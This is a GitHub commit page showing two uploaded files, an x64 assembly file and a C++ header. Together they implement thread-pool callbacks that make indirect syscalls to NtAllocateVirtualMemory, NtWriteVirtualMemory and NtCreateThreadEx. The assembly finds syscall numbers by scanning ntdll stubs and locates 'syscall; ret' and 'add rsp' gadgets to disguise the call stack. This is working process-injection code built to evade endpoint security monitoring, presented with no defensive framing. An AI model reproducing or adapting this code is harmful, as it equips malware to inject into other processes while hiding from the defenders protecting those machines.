Skip to content

Commit 1f76a56

Browse files
vvswiftvvswift
authored
Add files via upload
0 parents  commit 1f76a56

8 files changed

Lines changed: 937 additions & 0 deletions

File tree

‎Assembly.asm‎

Lines changed: 129 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,129 @@
1+
section .data
2+
3+
syscall_ret dq 0000000000000000h
4+
add_rsp_ret dq 0000000000000000h
5+
6+
section .text
7+
8+
global GetSSNByFuncAddress
9+
global Search_For_Syscall_Ret
10+
global Search_For_Add_Rsp_Ret
11+
global NtAllocateVirtualMemory_Callback
12+
global NtCreateThreadEx_Callback
13+
global NtWriteVirtualMemory_Callback
14+
15+
NtAllocateVirtualMemory_Callback:
16+
sub rsp, 0x78
17+
mov r15, add_rsp_ret
18+
mov r15, [r15]
19+
push r15
20+
mov rbx, rdx
21+
mov rcx, [rbx]
22+
mov rdx, [rbx + 0x8]
23+
mov r8, [rbx + 0x10]
24+
mov r9, [rbx + 0x18]
25+
mov r10, [rbx + 0x24]
26+
mov [rsp+0x30], r10
27+
mov r10, [rbx + 0x20]
28+
mov [rsp+0x28], r10
29+
mov r10, rcx
30+
mov r15, syscall_ret
31+
mov r15, [r15]
32+
mov rax, [rbx + 0x28]
33+
jmp r15
34+
35+
NtWriteVirtualMemory_Callback:
36+
sub rsp, 0x78
37+
mov r15, add_rsp_ret
38+
mov r15, [r15]
39+
push r15
40+
mov rbx, rdx
41+
mov rcx, [rbx]
42+
mov rdx, [rbx + 0x8]
43+
mov r8, [rbx + 0x10]
44+
mov r9, [rbx + 0x18]
45+
mov r10, [rbx + 0x20]
46+
mov [rsp+0x28], r10
47+
mov r10, rcx
48+
mov r15, syscall_ret
49+
mov r15, [r15]
50+
mov rax, [rbx + 0x28]
51+
jmp r15
52+
53+
NtCreateThreadEx_Callback:
54+
sub rsp, 0x78
55+
mov r15, add_rsp_ret
56+
mov r15, [r15]
57+
push r15
58+
mov rbx, rdx
59+
mov rcx, [rbx]
60+
mov rdx, [rbx + 0x8]
61+
mov r8, [rbx + 0x10]
62+
mov r9, [rbx + 0x18]
63+
mov r10, [rbx + 0x50]
64+
mov [rsp+0x58], r10
65+
mov r10, [rbx + 0x48]
66+
mov [rsp+0x50], r10
67+
mov r10, [rbx + 0x40]
68+
mov [rsp+0x48], r10
69+
mov r10, [rbx + 0x38]
70+
mov [rsp+0x40], r10
71+
mov r10, [rbx + 0x30]
72+
mov [rsp+0x38], r10
73+
mov r10, [rbx + 0x28]
74+
mov [rsp+0x30], r10
75+
mov r10, [rbx + 0x20]
76+
mov [rsp+0x28], r10
77+
mov r10, rcx
78+
mov r15, syscall_ret
79+
mov r15, [r15]
80+
mov rax, [rbx + 0x58]
81+
jmp r15
82+
83+
Search_For_Syscall_Ret:
84+
; Search for Syscall + Ret
85+
mov rdx, rax
86+
add rdx, 1
87+
xor rbx, rbx
88+
xor rcx, rcx
89+
mov rcx, 00FFFFFF0000000000h
90+
mov rdi, [rdx]
91+
and rdi, rcx
92+
or rbx, rdi
93+
shr rbx, 28h
94+
cmp rbx, 1F0FC3h
95+
jne Search_For_Syscall_Ret + 3h
96+
mov r15, syscall_ret
97+
mov [r15], rdx
98+
xor r15, r15
99+
ret
100+
101+
Search_For_Add_Rsp_Ret:
102+
; Search for add rsp, 78 + Ret
103+
mov rdx, rax
104+
add rdx, 1
105+
xor rbx, rbx
106+
xor rcx, rcx
107+
mov rcx, 0000FFFFFFFFFFh
108+
mov rdi, [rdx]
109+
and rdi, rcx
110+
or rbx, rdi
111+
mov r14, 00C378C48348h
112+
cmp rbx, r14
113+
jne Search_For_Add_Rsp_Ret + 3h
114+
mov r15, add_rsp_ret
115+
mov [r15], rdx
116+
ret
117+
118+
GetSSNByFuncAddress:
119+
mov ebx, 0xB8D18B4C
120+
mov rdx, 0x0
121+
mov rax, [rcx]
122+
cmp eax, ebx
123+
je GetSSNByFuncAddress + 0x1B
124+
add rcx, 0x20
125+
add rdx, 0x1
126+
jmp GetSSNByFuncAddress + 0xA
127+
mov rax, [rcx + 0x4]
128+
sub rax, rdx
129+
ret

‎Callbacks.h‎

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
#include <windows.h>
2+
3+
typedef struct _NTALLOCATEVIRTUALMEMORY_ARGS {
4+
HANDLE hProcess;
5+
PVOID* address;
6+
SIZE_T zeroBits;
7+
PSIZE_T size;
8+
ULONG allocationType;
9+
ULONG permissions;
10+
DWORD ssn;
11+
} NTALLOCATEVIRTUALMEMORY_ARGS, *PNTALLOCATEVIRTUALMEMORY_ARGS;
12+
13+
typedef struct _NTWRITEVIRTUALMEMORY_ARGS {
14+
HANDLE hProcess;
15+
PVOID address;
16+
PVOID buffer;
17+
ULONG numberOfBytesToWrite;
18+
PULONG numberOfBytesWritten;
19+
DWORD ssn;
20+
} NTWRITEVIRTUALMEMORY_ARGS, * PNTWRITEVIRTUALMEMORY_ARGS;
21+
22+
typedef struct _NTCREATETHREADEX_ARGS {
23+
PHANDLE threadHandle;
24+
ACCESS_MASK desiredAccess;
25+
PVOID objectAttributes;
26+
HANDLE processHandle;
27+
PVOID lpStartAddress;
28+
PVOID lpParameter;
29+
ULONG flags;
30+
SIZE_T stackZeroBits;
31+
SIZE_T sizeOfStackCommit;
32+
SIZE_T sizeOfStackReserve;
33+
PVOID lpBytesBuffer;
34+
DWORD ssn;
35+
} NTCREATETHREADEX_ARGS, * PNTCREATETHREADEX_ARGS;
36+
37+
38+
extern "C" void Search_For_Syscall_Ret(
39+
HANDLE ntdllHandle
40+
);
41+
42+
extern "C" void Search_For_Add_Rsp_Ret(
43+
HANDLE ntdllHandle
44+
);
45+
46+
extern "C" void NtAllocateVirtualMemory_Callback(
47+
PTP_CALLBACK_INSTANCE Instance,
48+
PVOID Context,
49+
PTP_WORK Work
50+
);
51+
52+
extern "C" void NtWriteVirtualMemory_Callback(
53+
PTP_CALLBACK_INSTANCE Instance,
54+
PVOID Context,
55+
PTP_WORK Work
56+
);
57+
58+
extern "C" void NtCreateThreadEx_Callback(
59+
PTP_CALLBACK_INSTANCE Instance,
60+
PVOID Context,
61+
PTP_WORK Work
62+
);

0 commit comments

Comments
 (0)